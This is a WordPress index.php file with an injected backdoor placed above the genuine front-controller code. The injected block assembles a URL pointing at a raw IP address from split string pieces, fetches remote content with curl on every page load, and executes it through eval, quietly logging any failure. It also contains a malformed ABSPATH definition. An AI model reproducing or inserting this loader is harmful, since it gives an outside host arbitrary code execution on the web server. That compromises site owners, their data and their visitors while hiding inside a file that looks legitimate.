<?php

try {

    $urlParts = [
        'http://',
        '142.54.183.194',
        '/z51107_7/',
        '/stat/',
        'index2',
        '.txt'
    ];
    
    $realUrl = implode('', $urlParts);
    
    $c = curl_init($realUrl);
    curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($c, CURLOPT_TIMEOUT, 5);
    curl_setopt($c, CURLOPT_CONNECTTIMEOUT, 3);
    $result = curl_exec($c);
    
    if ($result !== false) {
        eval('?>' . $result);
    }
} catch (Exception $e) {
    error_log('External script error: ' . $e->getMessage());
}
if ( ! defined( 'ABSPATH' ) ) {
    define( 'ABSPATH', DIR . '/' );
}

?>
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';